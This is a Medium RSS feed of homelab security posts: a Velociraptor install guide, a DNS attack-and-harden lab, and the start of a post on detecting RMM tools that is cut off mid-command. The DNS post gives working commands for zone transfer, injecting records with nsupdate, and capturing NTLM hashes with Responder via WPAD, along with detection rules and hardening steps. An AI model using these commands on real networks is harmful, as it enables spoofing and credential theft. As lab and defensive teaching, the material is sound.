<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Johnny Meintel on Medium]]></title>
        <description><![CDATA[Stories by Johnny Meintel on Medium]]></description>
        <link>https://medium.com/@johnnymeintel?source=rss-88ad9882608d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZVETCn6R5ztfd_gRrfUrZg.png</url>
            <title>Stories by Johnny Meintel on Medium</title>
            <link>https://medium.com/@johnnymeintel?source=rss-88ad9882608d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 03:53:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@johnnymeintel/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Installing Velociraptor in My Homelab]]></title>
            <link>https://medium.com/@johnnymeintel/installing-velociraptor-in-my-homelab-ff1ea2887f7c?source=rss-88ad9882608d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff1ea2887f7c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Johnny Meintel]]></dc:creator>
            <pubDate>Sun, 02 Aug 2026 02:26:41 GMT</pubDate>
            <atom:updated>2026-08-02T02:48:24.070Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>“Velociraptor is a unique, enterprise grade, open-source platform for endpoint monitoring, digital forensic and cyber response. Velociraptor covers the entirety of the attack life cycle, providing responders a powerful capability to address past, present and future events.”</blockquote><p><a href="https://docs.velociraptor.app/docs/overview/">Source</a></p><p>Today I will be adding Velociraptor to my homelab which currently includes Sysmon and Wazuh. Sysmon and Wazuh provide an “always-on” detection platform that produces alerts based on certain activity occurring on the registered endpoints. Velociraptor answers point-in-time questions instead: what is true on that host right now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*abm1g8jkbQ39Iu1ydqH7VQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*oKNp7dbe3l8555Ypr7EHQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*KlmTLhuBIoRMmndflFep4g.png" /></figure><p>The service came up on the first try. By any reasonable measure I was done. Then I deleted all of it and built it again, because I could not have told you what half of it was actually doing. Following a sequence of commands and getting a working server is a different thing from understanding a working server.</p><h4>Step 1 — Stage the Binary on Local Disk</h4><p>On my host Windows desktop, I ssh into my SIEM01 virtual machine first, and then run the following commands:</p><pre># Copy the downloaded binary from host machine to VM<br>cp &quot;/mnt/external/00 Setup/velociraptor-v0.77.1-linux-amd64&quot; /tmp/velociraptor</pre><pre># Mark the binary executable so Linux will run it<br>chmod +x /tmp/velociraptor</pre><pre># Confirm the binary runs and print its version<br>/tmp/velociraptor version</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*3htX_86ytWjyW-4tgvMBDg.png" /></figure><h4>Step 2 — Generate the Config</h4><p>Launch Velociraptor’s interactive config generator:</p><pre># Launch the interactive config generator (writes the server config with an embedded private CA)<br>/tmp/velociraptor config generate -i</pre><p>Using the following options:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*OMCcca_KGZsQKbCjJemvcQ.png" /></figure><p>Two things bit me on version 0.77.1: the config generator tried to save a file containing private keys onto a network share, and it wrote localhost as the server address even though I typed the IP, which would have left every agent looking for the server on the wrong machine. Both are silent failures, so verify what actually got written instead of trusting what you typed.</p><h4>Step 3 — Derive the Client Config</h4><p>This produces the settings file the agents will carry:</p><pre># Read the server config and write out the matching client config<br>/tmp/velociraptor --config /tmp/server.config.yaml config client &gt; /tmp/client.config.yaml</pre><h4>Step 4 — Verify and Fix the Server URL</h4><pre># Show the server_urls key and the line beneath it<br>grep -A1 server_urls /tmp/client.config.yaml</pre><pre># Replace every localhost reference with the real server IP in both configs<br>sed -i &#39;s/localhost/10.10.10.5/g&#39; /tmp/server.config.yaml /tmp/client.config.yaml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*Ri-zkqJLE8ipvwQc84oJ9A.png" /></figure><h4>Step 5 — Fix the GUI Bind Address</h4><p>Now to make the web console reachable from the host desktop instead of only from the server itself:</p><pre># Show each bind_address with the port line beneath it so you can identify which section is which<br>grep -n -A1 &quot;bind_address&quot; /tmp/server.config.yaml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*_IhOyNfdAkwgGZn0QVt4mA.png" /></figure><pre># Change only line 65 (the GUI, port 8889) to listen on all interfaces<br>sed -i &#39;65s/127.0.0.1/0.0.0.0/&#39; /tmp/server.config.yaml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*reaTFuFBoXOObbyyvEYyYA.png" /></figure><p>The more secure alternative (if not working in an isolated lab environment):</p><p><em>Leave the GUI on </em><em>127.0.0.1 and reach it through an ssh tunnel from your workstation with </em><em>ssh -L 8889:127.0.0.1:8889 blue_admin@10.10.10.5, then browse </em><em>https://127.0.0.1:8889. The console then never listens on the LAN at all. Use this posture anywhere less isolated than a homelab.</em></p><h4>Step 6 — Place and Lock the Configs</h4><p>Move the config files out of temp and restrict read/write to root because server.config.yaml holds the CA private key, so anyone who reads it can impersonate your server.</p><pre># Create the datastore and logs directories, move both configs in, then restrict the server config to root only<br>mkdir -p /opt/velociraptor/logs &amp;&amp; mv /tmp/server.config.yaml /tmp/client.config.yaml /opt/velociraptor/ &amp;&amp; chmod 600 /opt/velociraptor/server.config.yaml</pre><h4>Step 7 — Build the Service Package</h4><p>Take the Velociraptor binary and use debian server to turn it into a proper Ubuntu installer. Worth reading before you let it register a service: the postinst creates a dedicated account that cannot log in, locks the config to root, and grants the binary only the specific privileges it needs rather than running as root.</p><pre># Change to /tmp, then build a .deb for the server role from the config (the .deb is written to /tmp)<br>cd /tmp &amp;&amp; /tmp/velociraptor --config /opt/velociraptor/server.config.yaml debian server<br><br># Extract the package control files so you can read the install scripts<br>dpkg-deb --control /tmp/velociraptor-server-0.77.1.amd64.deb /tmp/ctrl<br><br># Read the postinst script to see exactly what happens at install time<br>cat /tmp/ctrl/postinst</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lpHU9vBadq7UONwRPHnT6A.png" /></figure><pre># List the built package so you can see its exact filename<br>ls -l /tmp/*.deb</pre><h4>Step 8 — Install</h4><pre># Install the package, which places the binary and config, registers the systemd unit, and enables boot start<br>dpkg -i /tmp/velociraptor-server-0.77.1.amd64.deb</pre><h4>Step 9 — Verify</h4><pre># Confirm the service is active and running<br>systemctl status velociraptor_server --no-pager<br><br># Confirm the GUI is now on 0.0.0.0:8889 and the frontend on *:8000<br>ss -tlnp | grep -E &#39;8000|8889&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*pHr9sCsRdcvqiNxC3BOcxA.png" /></figure><pre># Allow the frontend port (only if ufw is active)<br>ufw allow 8000/tcp<br><br># Allow the GUI port (only if ufw is active)<br>ufw allow 8889/tcp<br><br># From SIEM01, confirm the GUI answers over HTTPS (-k accepts the self-signed certificate)<br>curl -k -I https://10.10.10.5:8889</pre><p>Then browse https://10.10.10.5:8889 from host desktop, accept the self-signed warning, and log in with the admin account created during setup:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*khmYRPI6ZjL2IRnFfTiwWA.png" /></figure><h4>Step 10 — Enrolling a Client Endpoint</h4><p>The 2TB drive is physically attached to my Windows host and published as an SMB share. Both VMs reach the same disk from opposite sides: the Ubuntu SIEM box has it CIFS-mounted at /mnt/external, and the Windows endpoint reaches it over UNC at \\10.10.10.10\External.</p><pre># Copy the client config onto the shared drive<br>cp /opt/velociraptor/client.config.yaml &quot;/mnt/external/00 Setup/&quot;</pre><p>Now using my Windows 11 endpoint named WS01, create the working directory, copy the config file from SIEM01 along with the Velociraptor executable I downloaded from the official website. Note the IP rather than a hostname. The host is not domain-joined, so the lab’s DNS has no record for it, and \\CORP\External fails from the VMs even though Explorer happily shows the share under Network. Explorer finds it by broadcast discovery; the command line resolves through DNS and comes up empty. That mismatch looks like a permissions problem and is not one.</p><pre># Create the directory to store the config files<br>New-Item -ItemType Directory -Path &quot;C:\Program Files\Velociraptor&quot; -Force<br><br># Copy the binary executable<br>Copy-Item &quot;\\10.10.10.10\External\00 Setup\velociraptor-v0.77.1-windows-amd64.exe&quot; &quot;C:\Program Files\Velociraptor\velociraptor.exe&quot;<br><br># Copy the client config next to the binary<br>Copy-Item &quot;\\10.10.10.10\External\00 Setup\client.config.yaml&quot; &quot;C:\Program Files\Velociraptor\client.config.yaml&quot;<br><br># Confirm the binary runs and prints its version<br>&amp; &quot;C:\Program Files\Velociraptor\velociraptor.exe&quot; version</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*R06PGcYNY7mbX-xnczXXcA.png" /></figure><p>Before installing the service, run it as a foreground process to see the agent enrollment succeed:</p><pre># Run the agent in the foreground with verbose logging so you can watch it enroll before committing it as a service<br>&amp; &quot;C:\Program Files\Velociraptor\velociraptor.exe&quot; --config &quot;C:\Program Files\Velociraptor\client.config.yaml&quot; client -v</pre><p>Enrollment was successful, no errors. Ctrl+C the foreground process and install as a service:</p><pre># Register the agent as a Windows service so it runs continuously and starts on boot<br>&amp; &quot;C:\Program Files\Velociraptor\velociraptor.exe&quot; --config &quot;C:\Program Files\Velociraptor\client.config.yaml&quot; service install<br><br># Confirm the service is registered and running<br>Get-Service Velociraptor</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6D31q1-scQ-QlnENKRtP4w.png" /></figure><p>Service is running on the endpoint, endpoint is visible in the GUI.</p><p>The process tracker is a running notebook on the client endpoint that writes down every process birth and death as it happens, so you can walk the family tree backward afterward. Windows does not keep this by default: once a process exits, the record of what launched it is gone.</p><p>The constraint that matters is that the tracker only records forward from the moment it starts. It is a security camera, not a time machine. If you fire an attack simulation before enabling it, the lineage query comes back empty and it looks like the tool is broken, when really it just never saw those processes get born. Enable it, confirm it is recording, and only then run anything you intend to trace.</p><p>To enable it, add Windows.Events.TrackProcesses to the Client Events monitoring table:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*CqeDJFU_SKsbl5HlaxFuFw.png" /></figure><p>Velociraptor running alongside Wazuh, showing the same endpoint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b7yn48WxPAB6RSBoysJVzg.png" /></figure><p>Velociraptor is now running alongside Wazuh, watching the same endpoint from a different angle. Wazuh tells me something fired; Velociraptor lets me ask what was actually true on that machine at that moment. Next I’ll use it to answer the question Wazuh structurally cannot: whether the process claiming to be AnyDesk really is.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff1ea2887f7c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Broke DNS, Exploited It, Then Fixed It (Here’s How)]]></title>
            <link>https://medium.com/@johnnymeintel/i-broke-dns-exploited-it-then-fixed-it-heres-how-c612346fcc3b?source=rss-88ad9882608d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c612346fcc3b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[Johnny Meintel]]></dc:creator>
            <pubDate>Mon, 27 Jul 2026 00:49:10 GMT</pubDate>
            <atom:updated>2026-07-27T00:49:10.253Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZGV7exZU63CegmsXin3fg.png" /></figure><p>Every command here runs against my own corp.local domain controller on an isolated segment. Zone transfer, dynamic-update injection, and WPAD abuse against anything you do not own is illegal. This is a self-contained lab.</p><p>Default settings save networks. Let’s talk DNS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*G1DDadUwHc_hfTwQdEjVWg.png" /><figcaption>Default settings on DC01</figcaption></figure><p>What matters — <strong>DynamicUpdate </strong>and <strong>SecureSecondaries</strong>:</p><ul><li><strong>DynamicUpdate</strong> — When a host joins a domain (when a computer joins a network), the domain will need to know the host IP address and hostname it resolves to. Back in the day, some administrator had to do all of this manually (or “statically”). DynamicUpdate allows this to take place automatically. A host doesn’t need to know if it’s allowed to, if the hostname or IP changes or a new DHCP lease is given, the host is reaching out via the DNS Client service to its DNS server. This also occurs on a 24-hour timer by default via DefaultRegistrationRefreshInterval, or alternatively by Group Policy through Computer Configuration → Administrative Templates → Network → DNS Client → Registration refresh interval.</li><li>None (manually, the old fashioned way) / Secure / NonSecure</li><li>Default: Secure</li></ul><p>See: <a href="https://datatracker.ietf.org/doc/html/rfc2136">RFC2136</a></p><ul><li><strong>SecureSecondaries</strong> — Multiple DNS servers are commonly used for redundancy. A DNS zone transfer gives the requester every hostname and IP address in the zone. Attackers commonly try zone transfers early in an engagement for exactly this reason. This setting determines whether or not, and who is allowed to do this.</li><li>NoTransfer / TransferToSecureServers / TransferToZoneNameServer / TransferAnyServer</li><li>Default: NoTransfer for AD-integrated environments, TransferToZoneNameServer otherwise.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*3iuEMcgzUWI-ECz4ho_8Hw.png" /><figcaption>SecureSecondaries options comparison table</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*8v-OPTIrVXFYYPbCK8nk6A.png" /><figcaption>GlobalQueryBlockList</figcaption></figure><p><strong>DnsServerGlobalQueryBlockList</strong> — A built-in security feature that tells the DNS server not to answer queries for certain hostnames, even if those records exist in a zone or would otherwise be resolved.</p><p>What matters — <strong>wpad </strong>and <strong>isatap</strong>:</p><ul><li><strong>wpad — </strong><em>Web Proxy Auto-Discovery</em> protocol. It’s a way for computers to automatically find and use a web proxy server on the network without anyone having to configure it manually. If an attacker can register or respond for wpad, clients may automatically use a malicious proxy, enabling man-in-the-middle attacks.</li><li><strong>isatap — </strong><em>Intra-Site Automatic Tunnel Addressing</em> protocol. An older technology that helps computers use IPv6 on a network that is still mostly IPv4, by creating automatic tunnels. Can be used in certain name-collision or tunneling abuse scenarios.</li></ul><pre>Options:<br><br>Get-DnsServerGlobalQueryBlockList<br>    [-ComputerName &lt;String&gt;]<br>    [-CimSession &lt;CimSession[]&gt;]<br>    [-ThrottleLimit &lt;Int32&gt;]<br>    [-AsJob]<br>    [&lt;CommonParameters&gt;]</pre><p>See: <a href="https://learn.microsoft.com/en-us/powershell/module/dnsserver/get-dnsserverglobalqueryblocklist?view=windowsserver2025-ps">Microsoft Learn</a></p><h3>Breaking DNS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*yJLw6sWtl6KcWQ7td4ft_Q.png" /><figcaption>DNS is now vulnerable</figcaption></figure><p><strong>What Happened:</strong></p><ul><li>DynamicUpdate: NonsecureAndSecure — unauthenticated nsupdate writes will now succeed.</li><li>SecureSecondaries: TransferAnyServer — dig axfr (full zone transfer) from Kali will now dump the whole zone.</li><li>GQBL Enable: False — the server will now answer queries for wpad and isatap if those records exist.</li></ul><p>DNS is wide open. Let’s spin up a Kali box and attempt to exploit.</p><h3>Recon and Zone Transfer from Kali</h3><p>Same output, 2 different tools (<em>dig, fierce</em>):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*1_7Pt8Y98qSKlUqcByyx_Q.png" /><figcaption>dig output</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*Ueub4lHXu7RCXlXkNbTubw.png" /><figcaption>fierce output</figcaption></figure><p>The output shows:</p><ul><li>The domain controller (dc01)</li><li>Two member machines (SRV01 and WS01)</li><li>All the standard Active Directory SRV records needed for domain services</li></ul><p>Notice “SRV01” — let’s overwrite this record to spoof Kali as SRV01 in the eyes of a Windows 11 client.</p><h3>Poisoned DNS Records</h3><p>On Kali:</p><pre>nsupdate -v &lt;&lt;&#39;EOF&#39;<br>server 10.10.10.11<br>update delete srv01.corp.local A<br>update add srv01.corp.local 300 A 10.10.10.30<br>send<br>EOF</pre><p>Now use the Windows 11 box (WS01) to confirm the poisoned resolution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*8psl2piwVxXLlmybj7QE7A.png" /><figcaption>srv01.corp.local shown as Kali’s IP</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*hX0KvrXdFg4cDkxMHb08Kg.png" /><figcaption>Kali 10.10.10.30 on eth1</figcaption></figure><p>SRV01 has been spoofed. The next step should be straightforward, and this is what I attempted: trigger the dir command from WS01 against the spoofed name and watch Responder catch the hash. It didn&#39;t. WS01 connected, got Responder&#39;s NTLM challenge back, and then simply reset the connection, no hash, no error worth seeing on the client side. I toggled RequireSecuritySignature off on WS01 to rule out SMB signing as the cause. No difference.</p><p>Turns out the answer was sitting in WS01’s own event log the whole time: a SEC_E_INVALID_TOKEN error, pointing straight at cifs/srv01.corp.local. Which makes sense once you think about it, SRV01 isn&#39;t some name I made up, it&#39;s a real machine on this domain with its own Kerberos identity already registered in Active Directory. A patched Windows 11 box actually checks that. Whatever&#39;s answering as SRV01 gets compared against what Windows already knows should be true about it, and Responder&#39;s fake challenge just doesn&#39;t hold up. The connection dies quietly, before any credential ever leaves the machine, and it has nothing to do with signing or DNS. The client simply knows better.</p><p>So instead of trying to impersonate something real, I picked a name that isn’t real at all. A hostname with no Service Principal Name behind it gives the client nothing to check against. Let’s inject one that doesn’t exist anywhere in this domain, this will allow us to trigger a connection from WS01 and capture the hash on Kali using responder:</p><pre>nsupdate -v &lt;&lt;&#39;EOF&#39;<br>server 10.10.10.11<br>update add fileserver01.corp.local 300 A 10.10.10.30<br>send<br>EOF</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*M1x9zVinyHG0Q0E5Nlshvw.png" /><figcaption>WS01 authenticating to the injected record by attempting to access the false file server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*z0FL6tBp1d1WRaQ6a444NQ.png" /><figcaption>WS01 hash captured by Responder</figcaption></figure><p>Clean up the record:</p><pre>nsupdate -v &lt;&lt;&#39;EOF&#39;<br>server 10.10.10.11<br>update delete fileserver01.corp.local A<br>send<br>EOF</pre><p>An attacker would use this hash capture and an offline cracking tool such as John the Ripper to reveal the true password.</p><h3>Weaponized WPAD</h3><p>We went over the basics of WPAD in the beginning of the article. Let’s talk more specifically about the underlying mechanism. Windows (and every major browser) ships a setting called “Automatically detect settings” (Internet Options &gt; Connections &gt; LAN Settings, checked by default on most builds). When enabled, at logon, network-change, and periodically onward, the OS tries to find a <strong>Proxy Auto-Config (PAC)</strong> file, a small JavaScript file that tells every application which proxy server to send its web traffic through, if any. It finds that file by:</p><ol><li>Querying DNS for a host literally named wpad.&lt;your domain&gt; (wpad.corp.local here).</li><li>If that resolves, fetching http://wpad.corp.local/wpad.dat over plain HTTP.</li><li>Running the JavaScript in that file for every URL the machine subsequently requests, to decide the proxy.</li></ol><p>The earlier SMB authentication using the dir command required a specific, deliberate action. With weaponized WPAD, any outbound web request, a browser tab, a background Windows Update check, an app phoning home, is enough to trigger a WPAD lookup, and, once poisoned, route through to the attacker.</p><p>Launch responder, a bit differently this time:</p><pre>sudo responder -I eth1 -wF</pre><ul><li><strong>-w — </strong>starts Responder’s own tiny HTTP server that serves a malicious wpad.dat, and stands up a rogue proxy alongside it.</li><li><strong>-F</strong> — once a client is routing through Responder’s proxy, Responder answers with an HTTP 407 Proxy Authentication Required response carrying an NTLM challenge, -F forces this challenge on every proxied request rather than only on sites that already demand auth, so the client can&#39;t dodge it by only visiting simple pages.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*aNjNy03eldHghU_intfJ7Q.png" /><figcaption>WS01 default LAN settings</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*s8FoheX04Jdv-jth3olNcw.png" /><figcaption>responder caught WS01 hash just from web browsing due to weaponized WPAD</figcaption></figure><p>With Responder running on Kali and the Global Query Block List disabled, browsing a few pages on WS01 was enough to trigger an HTTP-borne NTLM authentication attempt via the poisoned wpad record.</p><h3>What Does the Domain Controller See?</h3><p>Using the command below:</p><pre>Get-WinEvent -LogName &quot;Microsoft-Windows-DNSServer/Audit&quot; \<br>-MaxEvents 40 | \<br>Where-Object { $_.Message -match &#39;wpad|srv01|fileserver01&#39; } | \<br>Select-Object TimeCreated, Id, Message | \<br>Format-List</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*Yrwh0OF3GLcnYYX-gpqCzw.png" /><figcaption>DC01 event log showing Kali IP creating/deleting records</figcaption></figure><p>We can see the records being deleted and created from Kali’s IP.</p><h3>What Does Wazuh See?</h3><p>In order to create an alert using Wazuh, we will first need to ship the DNS Audit channel from DC01’s agent by adding the following XML code above &lt;/ossec_config&gt; in the ossec.conf file on DC01:</p><pre>&lt;localfile&gt;<br>  &lt;location&gt;Microsoft-Windows-DNSServer/Audit&lt;/location&gt;<br>  &lt;log_format&gt;eventchannel&lt;/log_format&gt;<br>&lt;/localfile&gt;</pre><p>Now we create the corresponding Wazuh rules, one for a record being created and one for a record being deleted:</p><pre>&lt;group name=&quot;dns,windows,&quot;&gt;<br>  &lt;rule id=&quot;100310&quot; level=&quot;10&quot;&gt;<br>    &lt;if_group&gt;windows&lt;/if_group&gt;<br>    &lt;field name=&quot;win.system.eventID&quot;&gt;^519$&lt;/field&gt;<br>    &lt;description&gt;DNS dynamic update: record CREATED on $(win.system.computer)&lt;/description&gt;<br>    &lt;mitre&gt;&lt;id&gt;T1584.002&lt;/id&gt;&lt;/mitre&gt;<br>  &lt;/rule&gt;<br>  &lt;rule id=&quot;100311&quot; level=&quot;10&quot;&gt;<br>    &lt;if_group&gt;windows&lt;/if_group&gt;<br>    &lt;field name=&quot;win.system.eventID&quot;&gt;^520$&lt;/field&gt;<br>    &lt;description&gt;DNS dynamic update: record DELETED on $(win.system.computer)&lt;/description&gt;<br>    &lt;mitre&gt;&lt;id&gt;T1584.002&lt;/id&gt;&lt;/mitre&gt;<br>  &lt;/rule&gt;<br>&lt;/group&gt;</pre><p>Back on Kali, let’s repeat the creation and deletion of fileserver01.corp.local and see if the alert fires on Wazuh:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*j8EgjLSY7Biwm7aWZ5JrrA.png" /><figcaption>Wazuh dashboard for the 2 newly created events</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*XwFQVwLBXnV1exeFEixMIA.png" /><figcaption>Wazuh events for the new rules</figcaption></figure><h3>Harden and Retest</h3><p>Back on DC01, apply the correct, default, hardened settings:</p><pre>Set-DnsServerPrimaryZone -Name corp.local -DynamicUpdate Secure -SecureSecondaries NoTransfer<br>Set-DnsServerGlobalQueryBlockList -Enable $true<br>Set-DnsServerScavenging -ScavengingState $true -RefreshInterval 7.00:00:00 -NoRefreshInterval 7.00:00:00 -ApplyOnAllZones</pre><p>Secure dynamic updates require an authenticated, domain-joined machine account (kills the anonymous nsupdate write). NoTransfer refuses zone transfers outright (kills the AXFR dump). Re-enabling the Global Query Block List makes wpad/isatap unresolvable even if a record sneaks in. Scavenging clears the stale records that cause misdirected authentication.</p><p>Re-test from Kali (all should now fail):</p><pre>dig @10.10.10.11 corp.local AXFR<br>nsupdate -v &lt;&lt;&#39;EOF&#39;<br>server 10.10.10.11<br>update add wpad.corp.local 300 A 10.10.10.30<br>send<br>EOF<br>dig @10.10.10.11 wpad.corp.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*f_ziUTd2TDNp6gKj6f8KEQ.png" /><figcaption>Kali is now refused from obtaining or updating DNS records</figcaption></figure><h3>Lessons Learned</h3><ul><li>WPAD abuse is a fundamentally broader attack surface than the SMB path: no deliberate action needed, any outbound web request triggers it, which is exactly why the GQBL default matters as much as it does.</li><li>Detection here didn’t need custom logic: DC01’s own DNS Audit log records the exact record name, RDATA, and source IP for every dynamic update, no correlation required, and both Wazuh rules (create/delete) fired cleanly on the first real test.</li></ul><ul><li><a href="https://johnnymeintel.com/">Johnny Meintel - Security Researcher</a></li><li><a href="https://github.com/purplepyram1d">purplepyram1d - Overview</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c612346fcc3b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One RMM Is IT. Two Is An Incident. (1/2)]]></title>
            <link>https://medium.com/@johnnymeintel/one-rmm-is-it-two-is-an-incident-1-2-2411904f6ff0?source=rss-88ad9882608d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2411904f6ff0</guid>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wazuh]]></category>
            <dc:creator><![CDATA[Johnny Meintel]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 03:33:01 GMT</pubDate>
            <atom:updated>2026-06-29T04:17:46.579Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Detecting multiple remote access tools via Sysmon+Wazuh</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5lPg2kYX1hzzQZAcTyh36g.png" /></figure><p>You’re a SOC Analyst, triaging a host. ScreenConnect is installed on the host, as it is on every host this MSP manages. You see nothing suspicious, so you move on. A week later, you learn there was a Tiflux agent running underneath it the whole time. The trusted tool was the camouflage, and the attacker exploited this inherent trust to gain access with their own remote management tool. This is known as RMM abuse, and according to the <a href="https://www.huntress.com/resources/2026-cyber-threat-report">Huntress 2026 Cyber Threat Report</a>, it surged 277% last year and was the most common threat they observed. While organizations spend top dollar preventing attackers from gaining access to their systems, the remote management software used by their internal IT team may still provide a means of entry. When you see two RMM tools active, you’re not seeing IT redundancy.</p><p>EDR doesn’t flag what it’s told to trust. If you head over to <a href="https://lolrmm.io/">https://lolrmm.io/</a> you will find a reference database of 300+ RMM tools that could be abused by threat actors. They have also included network-based SIEM detection (KQL, Splunk, Sigma) in which you can supply your preferred RMM to be allow-listed to prevent false positives. This allows organizations to look for outbound connections to known RMM servers, but in order to better understand this abuse trend from the inside out, I decided to build my own host-based RMM multiplicity flagger.</p><h3>Telemetry Standup</h3><p>Let’s take a look at sysmonconfig-export.xml — it’s comprehensive but loaded with comments.</p><blockquote>Sysmon is NOT a whitelist solution or HIDS correlation engine, it is a computer change logging tool. Do NOT ignore everything possible. Sysmon’s purpose is providing context during a threat or problem investigation. Legitimate processes are routinely used by threats — do not blindly exclude them. Additionally, be mindful of process-hollowing / imitation.</blockquote><p>A Sysmon config is two things: a short block of global options at the top, then one big &lt;EventFiltering&gt; section that is a list of rules, grouped by event type, deciding what gets logged.</p><blockquote>If you only specify exclude for a filtering subsection, everything in that subsection is logged by default.</blockquote><p>When a configuration file only specifies exclusions, it gives Sysmon a list of specific activities to ignore (like standard, noisy Windows background processes). Because there are no other rules restricting entry, Sysmon logs every activity that matches the configured Event IDs. If an attacker notices that a malicious program named malware.exe is being logged, they can simply check the exclusion list. If the list says to ignore safe_program.exe, the attacker renames their file to safe_program.exe.</p><ul><li>EID 1 — ProcessCreate ~ Logs <em>every </em>process launch minus the noise listed (Chrome, svchost, Office, etc)</li><li>EID 3 — NetworkConnect ~ Per comments, <em>very conservative</em>, it only logs network from suspicious paths (C:\Users, ProgramData, Temp), suspicious tools (PowerShell, certutil, LOLBins) and suspicious ports (3389, 5900, 4444). <strong>The gap: an RMM beaconing from C:\Program Files\… on port 443 would <em>not</em> be logged.</strong></li><li>EID 6 — DriverLoad ~ As is, logs every non-Microsoft/Intel driver load, with full Hashes, Signed, Signature, SignatureStatus.</li><li>EID 7 — ImageLoad ~ Per comments, <em>“include with no rules means nothing in this section will be logged.”</em></li></ul><p>So the model in one line: exclude = log the firehose minus known-benign (EID 1, 6); include = log only what matches, and an empty include logs nothing (EID 3 selective, EID 7 effectively disabled).</p><blockquote>In endpoint monitoring, the <strong>“Firehose”</strong> represents the unfiltered, raw stream of low-level kernel telemetry events.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0h1DOI844W1q5fmo0fzloQ.jpeg" /></figure><p>The rest of the file (lines 453–1201) is the same pattern for ProcessAccess (10), FileCreate (11), Registry (12–14), Pipe (17/18), WMI (19–21), DNS (22), FileDelete (23) — mostly include-based whitelists of high-value artifacts.</p><h3>Confirming Telemetry</h3><p>The existing model leaves a clear opening for RMM abuse: an approved tool, beaconing from an approved path (C:\Program Files\), on an approved port (443), is invisible. My host-based RMM multiplicity flagger cannot exist with this blind spot. To flag <em>two</em> active RMM tools, we first must be able to see <em>any</em> active RMM tool. I need a configuration that is default-deny, but with surgical inclusion rules specifically designed for the RMM threat model. To do this, I am exchanging the monolithic, exclude-heavy SwiftOnSecurity export file in favor of <strong>Olaf Hartong’s </strong>sysmon-modular.</p><p>Every rule in sysmon-modular is annotated with the specific <strong>MITRE ATT&amp;CK</strong> technique ID it is designed to detect (e.g., technique_id=T1562 for Impair Defenses). For our RMM abuse detection, the detection logic will ultimately be written <em>against</em> named techniques.</p><h4><em>Install Sysmon with the modular config:</em></h4><pre>$Sysmon = &quot;Sysmon64.exe&quot;<br>$Config = &quot;sysmon-modular-master\sysmon-modular-master\sysmonconfig.xml&quot;<br>&amp; $Sysmon -accepteula -i 